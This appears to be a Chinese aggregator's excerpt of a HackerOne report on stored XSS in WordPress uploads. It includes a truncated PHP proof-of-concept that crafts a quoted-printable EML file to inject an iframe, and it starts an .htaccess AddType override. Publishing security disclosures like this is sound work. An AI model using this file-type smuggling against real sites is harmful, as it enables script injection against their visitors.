Stored XSS in WordPress
该报告还没有中文解读。
原文摘录
摘自原文（3110 字符中的一小部分）
The upload mechanism in WordPress works by the role of the user who's trying to upload something. So every role has a permission to upload certain files. For the lowest role like **author** can upload harmless file such as **txt**, png, gif, jpg, zip, with this file the author role can't attack any …
原文中的代码
<?php
$url = urlencode($_GET['url']);
$url = str_replace('%','=',$url);
$eml_content =
"TESTME
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
=3Chtml=3E=3Ch1=3EWordPress=3C=2Fhtml=3E
=3Ciframe=20src=3D=27$url=27=3E=3C=2Fiframe=3E=0A
";
$htaccess_content = "AddType …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 WordPress 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @abdullah · 版权归作者与 WordPress 所有